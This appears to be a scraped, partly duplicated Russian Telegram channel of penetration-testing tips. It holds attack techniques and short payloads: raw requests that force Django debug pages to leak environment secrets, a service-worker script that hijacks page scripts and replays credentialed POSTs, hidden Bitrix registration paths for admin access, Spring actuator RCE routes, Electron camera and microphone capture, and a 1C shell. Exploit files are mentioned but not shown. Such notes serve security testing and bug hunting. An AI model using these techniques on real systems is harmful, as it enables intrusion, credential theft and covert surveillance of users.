burp_sign_headers.py
3.3 KB
Короч, на пентесте была защита от дураков, каждая отправка запроса (POST x-www-form-urlencoded или application/json) подписывалась. Причем бралась сессия, текущий timestamp, сортировались параметры, все это оборачивалось в md5.
Эта проверка целостности передавалась в заголовке, и если не совпадала с текущими данными в POST, то обработка прерывалась. А без этого, естественно, ни Intuder, ни Scanner не работал.
Запилили плагин для Burp, добавляется через Extender -> Add -> Python, вдруг пригодится в будущем.
>
Эта проверка целостности передавалась в заголовке, и если не совпадала с текущими данными в POST, то обработка прерывалась. А без этого, естественно, ни Intuder, ни Scanner не работал.
Запилили плагин для Burp, добавляется через Extender -> Add -> Python, вдруг пригодится в будущем.
>
kapacitor_rce.sh
1.8 KB
Kapacitor - это система обработки данных с открытым исходным кодом, которая умеет обрабатывать метрики из InfluxDB и является частью TICK-стека. Из коробки умеет в RCE, если торчит наружу.
Для тестов:
Для тестов:
docker run --rm --net=host -it influxdb:1.8
docker run --rm -it --net=host -e KAPACITOR_INFLUXDB_0_URLS_0=http://127.0.0.1:8086 kapacitor
./kapacitor_rce.sh 172.17.0.3
>Приложения на Django в debug режиме раскрывают содержимое environment переменных при необработанном исключении.
Несмотря на наличие автоматического сокрытия значений, для переменных соответствующих регулярному выражению
Если обнаружить debug режим можно просто обратившись к несуществующей странице, то вызвать exception иногда бывает проблематично. Даже с раскрытием существующих в приложении путей через 404-ую страницу.
Но существуют и более универсальные подходы.
Пример 1
Нестандартные символы в Host. Правда с учетом облачных сервисов этот вариант срабатывает редко.
Использование большего количества переменных в POST, чем указано в настройке DATA_UPLOAD_MAX_NUMBER_FIELDS (по умолчанию 1000).
Для эксплуатации необходимо найти любой роут, поддерживающий POST запросы, и в редких случаях получить валидное значение CSRF токена на странице.
Несмотря на наличие автоматического сокрытия значений, для переменных соответствующих регулярному выражению
API|TOKEN|KEY|SECRET|PASS|SIGNATURE
, часто это приводит к утечкам через нестандартные имена переменных.Если обнаружить debug режим можно просто обратившись к несуществующей странице, то вызвать exception иногда бывает проблематично. Даже с раскрытием существующих в приложении путей через 404-ую страницу.
Но существуют и более универсальные подходы.
Пример 1
Нестандартные символы в Host. Правда с учетом облачных сервисов этот вариант срабатывает редко.
GET / HTTP/1.1Пример 2
Host: '"
Invalid HTTP_HOST header: '\'"'. The domain name provided is not valid according to RFC 1034/1035.
Использование большего количества переменных в POST, чем указано в настройке DATA_UPLOAD_MAX_NUMBER_FIELDS (по умолчанию 1000).
Для эксплуатации необходимо найти любой роут, поддерживающий POST запросы, и в редких случаях получить валидное значение CSRF токена на странице.
POST / HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Cookie: csrftoken=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa;
Content-Length: 3093
csrfmiddlewaretoken=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa&x=&x=&x=&x=[..1000 раз..]&x=&x=&x=
Service Worker - это скрипт, запускаемый браузером в фоновом процессе. Думаю, еще не самая используемая технология пентестерами, а ведь с помощью нее можно придумать какую-нибудь интересную эксплуатацию уязвимостей. Большинство использует как кэш в твоем браузере, а кто-то, наверное, всякие гадости делает?
Чтобы посмотреть, что у тебя крутится-вертится, нужно открыть
Например, вот логика простого перехватчика запросов, которые заканчиваются на js. Если происходит fetch (а это даже просто подключаемый js на страницу с помощью тега
Надо разместить куда-то serviceworker.js (на имя пофиг).
И зарегать его:
При следующем посещении все js’ки будут alert’тить.
А вот если какой-то контент доступен только с помощью метода POST и тебе его нужно оттуда подгрузить js, то можно просто заменить любой запрос на странице (назовем его intercept), на наше событие:
И вместо
>
Чтобы посмотреть, что у тебя крутится-вертится, нужно открыть
chrome://serviceworker-internals/
. Если ты активный пользователь интернета, будешь неприятно удивленНапример, вот логика простого перехватчика запросов, которые заканчиваются на js. Если происходит fetch (а это даже просто подключаемый js на страницу с помощью тега
<script>
, то вернется alert()
.Надо разместить куда-то serviceworker.js (на имя пофиг).
self.addEventListener('fetch', event => {
if(event.request.url.endsWith('.js'))
event.respondWith(new Response('alert()'));
});
И зарегать его:
<script>navigator.serviceWorker.register(‘serviceworker.js')</script>
При следующем посещении все js’ки будут alert’тить.
А вот если какой-то контент доступен только с помощью метода POST и тебе его нужно оттуда подгрузить js, то можно просто заменить любой запрос на странице (назовем его intercept), на наше событие:
self.addEventListener('fetch', event => {
const url = '/api/user';
if(event.request.url.endsWith('/intercept'))
event.respondWith(fetch(url, {
method : 'POST',
mode : 'no-cors',
credentials: 'include'
}));
});
И вместо
<script src=/intercept></script>
, будет содержимое POST-запроса>
#api #params #tool
Помимо брутфорса директорий, на проекте также важно находить и проверять скрытые параметры. Разработчики могли оставить функции для их обработки на сервере, но на клиентской части код удалить.
Также может возникать уязвимость Mass Assignment, где разработчик создал структуру, а злоумышленник может её заполнить, угадав названия полей с помощью перебора.
Первая это плагин для BurpSuite. Вторая — консольная утилита на Python.
Относительно недавно, появилась новая консольная утилита x8
Она написана на языке Rust, разработчиком является багхантер @sh1y0
Около 40% уязвимостей на h1 он нашёл с её использованием
К слову, багхантеры за рубежом не стесняются встраивать её в свои конвейеры для поиска уязвимостей.
На мой взгляд, данная тула наиболее эффективна, и сейчас мы разберёмся почему.
1. Arjun, в отличие от x8, имеет фиксированное значение параметров при брутфорсе (по умолчанию 500).
Это значит, что в запросе из вордлиста будут отсылаться сразу 500 параметров:
2. Ещё одним важным отличием являются функции сравнения ответов на странице.
Arjun сохраняет тело первого ответа и сравнивает с ответом нового запроса. Если есть разница — выводит сообщение о том что параметр влияет на ответ.
Естественно, проблема здесь очевидна, содержимое в ответе может быть всегда динамическим. Например, в теле ответа иногда встроен datetime.
x8 лишён данной проблемы, из-за наличия специальных тестовых запросов, которые нужны для выявления динамических строк — исключая их таким образом из поиска.
3. Arjun поддерживает методы только GET и POST, а Param Miner не умеет искать рекурсивным поиском.
Кроме того, в x8 есть гибкая настройка отправки параметров — концепция шаблонов и injection pointов, которая отсутствует в других инструментах.
Вообще, автор создал табличку, где сравнивает все три решения sh1yo.art/x8stats/
Так можно оценить эффективность работы на реальных сайтах.
Пример использования:
Помимо брутфорса директорий, на проекте также важно находить и проверять скрытые параметры. Разработчики могли оставить функции для их обработки на сервере, но на клиентской части код удалить.
Также может возникать уязвимость Mass Assignment, где разработчик создал структуру, а злоумышленник может её заполнить, угадав названия полей с помощью перебора.
public class User {Чтобы правильно и эффективно находить такие вещи, нам нужен подход или утилита. Самые известные вот эти две: Param Miner и Arjun
private String userid;
private String password;
private String email;
private boolean isAdmin;
}
Первая это плагин для BurpSuite. Вторая — консольная утилита на Python.
Относительно недавно, появилась новая консольная утилита x8
Она написана на языке Rust, разработчиком является багхантер @sh1y0
Около 40% уязвимостей на h1 он нашёл с её использованием
К слову, багхантеры за рубежом не стесняются встраивать её в свои конвейеры для поиска уязвимостей.
На мой взгляд, данная тула наиболее эффективна, и сейчас мы разберёмся почему.
1. Arjun, в отличие от x8, имеет фиксированное значение параметров при брутфорсе (по умолчанию 500).
Это значит, что в запросе из вордлиста будут отсылаться сразу 500 параметров:
/?param1=test¶m2=test&...¶m500=test
Проблема здесь заключается в том, что многие серверы будут отдавать 414 URI Too Long, либо банально игнорировать последние 200 параметров. Таким образом, даже если в вашем текстовом файле есть нужный параметр — он не будет найден.2. Ещё одним важным отличием являются функции сравнения ответов на странице.
Arjun сохраняет тело первого ответа и сравнивает с ответом нового запроса. Если есть разница — выводит сообщение о том что параметр влияет на ответ.
Естественно, проблема здесь очевидна, содержимое в ответе может быть всегда динамическим. Например, в теле ответа иногда встроен datetime.
x8 лишён данной проблемы, из-за наличия специальных тестовых запросов, которые нужны для выявления динамических строк — исключая их таким образом из поиска.
HTTP/1.1 200 OKКак видно из примера, строка которая содержит время, исключена и помечена как динамическая.
Content-Length: 18
<html>
- Time 13:36:23
<id="test">
HTTP/1.1 200 OKЗдесь x8 понимает, что параметр найден из-за изменений в теге id.
Content-Length: 37
<html>
- Time 13:37:48
+ <id="admin_param">
3. Arjun поддерживает методы только GET и POST, а Param Miner не умеет искать рекурсивным поиском.
Кроме того, в x8 есть гибкая настройка отправки параметров — концепция шаблонов и injection pointов, которая отсутствует в других инструментах.
Вообще, автор создал табличку, где сравнивает все три решения sh1yo.art/x8stats/
Так можно оценить эффективность работы на реальных сайтах.
Пример использования:
x8 -u "https://example.com/" -w <wordlist>
Ценная штука - actuator.
Как правило, ценность в зависимости от того, что в нем находится:
[1], [2], [3]
Как правило, ценность в зависимости от того, что в нем находится:
/actuator/env
- показывает переменные окружения, при отправке POST запроса (в виде JSON, если Spring Boot 2), умеет в RCE или утечку данных./actuator/heapdump
- моментальный снимок памяти процесса, разумеется с чувствительной информацией, такой как креды подключения или чьи-то сессии или sql запросы/actuator/jolokia
- роут для управления Jolokia через HTTP, смотреть в jolokia-exploitation-toolkit/actuator/gateway
- позволяет писать свои роуты к actuator’у, эксплуатируя как SSRF, так и RCE[1], [2], [3]
rsvgeb.py
6.3 KB
rsvgёb
Есть librsvg — либа в целом надежная, написана на rust. Она парсит svg и умеет их рендерить в png.
Особенность в том, что в svg можно встраивать обычные растровые изображения (через <image xlink:href="data:...>). Для их парсинга там используется либа libgdk-pixbuf, она написана на C.
libgdk-pixbuf умеет поточно читать изображения и из-за этого есть баг: если изображение не совсем до конца дописано, то часть буфера с данными останется неинициализированным, а ошибки настоящей иногда не происходят. В результате при парсинге svg в превьюху может попасть память приложения. Чем-то похожа на gifoёb.
Эксплойт прилагается.
>
Есть librsvg — либа в целом надежная, написана на rust. Она парсит svg и умеет их рендерить в png.
Особенность в том, что в svg можно встраивать обычные растровые изображения (через <image xlink:href="data:...>). Для их парсинга там используется либа libgdk-pixbuf, она написана на C.
libgdk-pixbuf умеет поточно читать изображения и из-за этого есть баг: если изображение не совсем до конца дописано, то часть буфера с данными останется неинициализированным, а ошибки настоящей иногда не происходят. В результате при парсинге svg в превьюху может попасть память приложения. Чем-то похожа на gifoёb.
Эксплойт прилагается.
>
Memcache классный, потому что находится на порту 11211 и работает как по TCP, так и по UDP. И часто забывают закрыть именно UDP порт.
До того как это стало мейнстримом, и его начали юзать для амплификации в DDoS атаках, раза три сдавал в багбаунти MailRu.
Ценность/импакт - это key-value база данных, часто кэшируют данные юзеров, в том числе сессии, пароли.
Юзаю этот дампер, скорее всего на гитхабе уже есть кайфовее.
>
До того как это стало мейнстримом, и его начали юзать для амплификации в DDoS атаках, раза три сдавал в багбаунти MailRu.
Ценность/импакт - это key-value база данных, часто кэшируют данные юзеров, в том числе сессии, пароли.
Юзаю этот дампер, скорее всего на гитхабе уже есть кайфовее.
>
#electron
Через XSS или открытие стороннего url (контролируемый атакующим), можно записать стрим с экрана, камеры, аудио.
Даже висит ишью, https://github.com/electron/electron/issues/19017.
Основная проблема в том, что в электроне всевозможные пермишены включены по умолчанию. Это значит что можно вызывать navigator.getUserMedia для доступа к устройствам записи аудио/видео.
Для изменения этой ситуации есть специальный метод, setPermissionRequestHandler, но еще не видел, что бы кто-то из разработчиков этим озаботился.
Единственная защита которую многие используют, это запрет на изменения location в текущем окне. Но часто забывают про изменения location во всплывающих окнах. Так же никто не застрахован от xss или использования кастомной схемы. В эту же кучу попадают приложения разрешающие использовать и делиться js-кодом. (Aka Postman)
PoC
Другие настройки:
- для записи видео с камеры:
- для записи микрофона:
Через XSS или открытие стороннего url (контролируемый атакующим), можно записать стрим с экрана, камеры, аудио.
Даже висит ишью, https://github.com/electron/electron/issues/19017.
Основная проблема в том, что в электроне всевозможные пермишены включены по умолчанию. Это значит что можно вызывать navigator.getUserMedia для доступа к устройствам записи аудио/видео.
Для изменения этой ситуации есть специальный метод, setPermissionRequestHandler, но еще не видел, что бы кто-то из разработчиков этим озаботился.
Единственная защита которую многие используют, это запрет на изменения location в текущем окне. Но часто забывают про изменения location во всплывающих окнах. Так же никто не застрахован от xss или использования кастомной схемы. В эту же кучу попадают приложения разрешающие использовать и делиться js-кодом. (Aka Postman)
PoC
Другие настройки:
- для записи видео с камеры:
const constraints = {audio: false, video: true};
- для записи микрофона:
const constraints = {audio: true, video: false};
HTTP Request Splitting vulnerabilities exploitation.pdf
912.6 KB
HTTP Request Splitting vulnerabilities exploitation c конференции offzone.
Еще раз о нюансах использования $uri в конфигах nginx с примерами эксплуатации.
Первый кейс эксплуатации такого миссконфига в mail.yandex.ru, где через похожую на CSRF-атаку украли весь запрос с фронтенда (включая куки жертвы) записав их подпись письма - в самое сердечко, просто потрясающе!
Еще раз о нюансах использования $uri в конфигах nginx с примерами эксплуатации.
Первый кейс эксплуатации такого миссконфига в mail.yandex.ru, где через похожую на CSRF-атаку украли весь запрос с фронтенда (включая куки жертвы) записав их подпись письма - в самое сердечко, просто потрясающе!
#bitrix
Карочи, в админку в битриксе иногда можно зайти просто зарегистрировавшись.
Но у многих кнопка регистрации вовсе отсутствует, но это не мешает вызвать стандартные формы:
Наличие форм, кстати, тоже не обязательно, достаточно разгадать капчу (если она вообще есть) и отправить POST-запрос на регу.
Помимо стандартных путей, существуют еще demo-проекты:
Или можно попробовать обратиться к подобным модулям:
После регистрации (получив валидный сессионный идентификатор), можно побрутить директорию /bitrix/ следующими файликами.
Карочи, в админку в битриксе иногда можно зайти просто зарегистрировавшись.
Но у многих кнопка регистрации вовсе отсутствует, но это не мешает вызвать стандартные формы:
/auth/?register=yes
/crm/?register=yes
/auth/oauth2/?register=yes
Наличие форм, кстати, тоже не обязательно, достаточно разгадать капчу (если она вообще есть) и отправить POST-запрос на регу.
Помимо стандартных путей, существуют еще demo-проекты:
/bitrix/wizards/bitrix/demo/public_files/ru/auth/index.php?register=yes
/bitrix/wizards/bitrix/demo/modules/examples/public/language/ru/examples/custom-registration/index.php
/bitrix/wizards/bitrix/demo/modules/examples/public/language/ru/examples/my-components/news_list.php?register=yes
/bitrix/wizards/bitrix/demo/modules/subscribe/public/personal/subscribe/subscr_edit.php?register=yes
Или можно попробовать обратиться к подобным модулям:
/bitrix/modules/bitrix.siteinfoportal/install/wizards/bitrix/infoportal/site/public/ru/personal/profile/index.php?register=yes
/bitrix/modules/bitrix.siteinfoportal/install/wizards/bitrix/infoportal/site/public/ru/board/my/index.php?register=yes
После регистрации (получив валидный сессионный идентификатор), можно побрутить директорию /bitrix/ следующими файликами.
#bitrix 🚨 🚨 🚨
Уязвимость модуля landing системы управления содержимым сайтов (CMS) 1С-Битрикс: Управление, позволяющая нарушителю выполнить команды ОС на уязвимом узле, получить контроль над ресурсами и проникнуть во внутреннюю сеть.
Bitrix > 23.850.0
RCE, CVSS 10/10
Удаляем модуль landing, если не используется. Обновляем до версии 23.850.0 и выше, если используется.
BDU:2023-05857
Че, пацаны, анимэ?
Уязвимость модуля landing системы управления содержимым сайтов (CMS) 1С-Битрикс: Управление, позволяющая нарушителю выполнить команды ОС на уязвимом узле, получить контроль над ресурсами и проникнуть во внутреннюю сеть.
Bitrix > 23.850.0
RCE, CVSS 10/10
Удаляем модуль landing, если не используется. Обновляем до версии 23.850.0 и выше, если используется.
BDU:2023-05857
Че, пацаны, анимэ?
Please open Telegram to view this post
VIEW IN TELEGRAM
Снова про #1С
Как пишут в документации: "Внешние обработки представляют собой обработки, которые не входят в состав прикладного решения и хранятся в отдельных файлах с расширением *. epf.".
Так же пишут: "В режиме 1С:Предприятие внешнюю обработку можно запустить на выполнение, открыв ее как любой другой файл, хранящийся на диске."
В правом верхнем углу нажимаем на "бутерброд" -> Файл -> Открыть.
Выбираем наш epf и жмём "ок".
Но только 1С может быть не только под Windows, но и под Linux. Поэтому в коллекцию еще один шелл, который универсальный и под любую операционную систему.
>
Как пишут в документации: "Внешние обработки представляют собой обработки, которые не входят в состав прикладного решения и хранятся в отдельных файлах с расширением *. epf.".
Так же пишут: "В режиме 1С:Предприятие внешнюю обработку можно запустить на выполнение, открыв ее как любой другой файл, хранящийся на диске."
В правом верхнем углу нажимаем на "бутерброд" -> Файл -> Открыть.
Выбираем наш epf и жмём "ок".
Но только 1С может быть не только под Windows, но и под Linux. Поэтому в коллекцию еще один шелл, который универсальный и под любую операционную систему.
>
Кавычка
Снова про #1С Как пишут в документации: "Внешние обработки представляют собой обработки, которые не входят в состав прикладного решения и хранятся в отдельных файлах с расширением *. epf.". Так же пишут: "В режиме 1С:Предприятие внешнюю обработку можно запустить…
КомандныйИнтерпретаторДля1С.epf
13 KB
В nginx есть забавный заголовок -
Служит для доступа к internal локейшенам для внутреннего перенаправления запросов от веб-сервера к backend-серверу, в частности, используется для эффективной отдачи файлов юзерам.
Короч, это позволяет использовать nginx как прокси-сервер для статических файлов (освобождает его ресурсы и повышает производительность).
В Apache и lighttpd есть подобный
Если в какой-то атаке, например в CRLF мы сможем его контролировать, то эту фичу можно использовать как обход закрытых директорий или как выход из директории.
Инфа и примеры: тыц, тыц, тыц, тыц, тыц
X-Accel-Redirect
Служит для доступа к internal локейшенам для внутреннего перенаправления запросов от веб-сервера к backend-серверу, в частности, используется для эффективной отдачи файлов юзерам.
Короч, это позволяет использовать nginx как прокси-сервер для статических файлов (освобождает его ресурсы и повышает производительность).
В Apache и lighttpd есть подобный
X-Sendfile
Если в какой-то атаке, например в CRLF мы сможем его контролировать, то эту фичу можно использовать как обход закрытых директорий или как выход из директории.
Инфа и примеры: тыц, тыц, тыц, тыц, тыц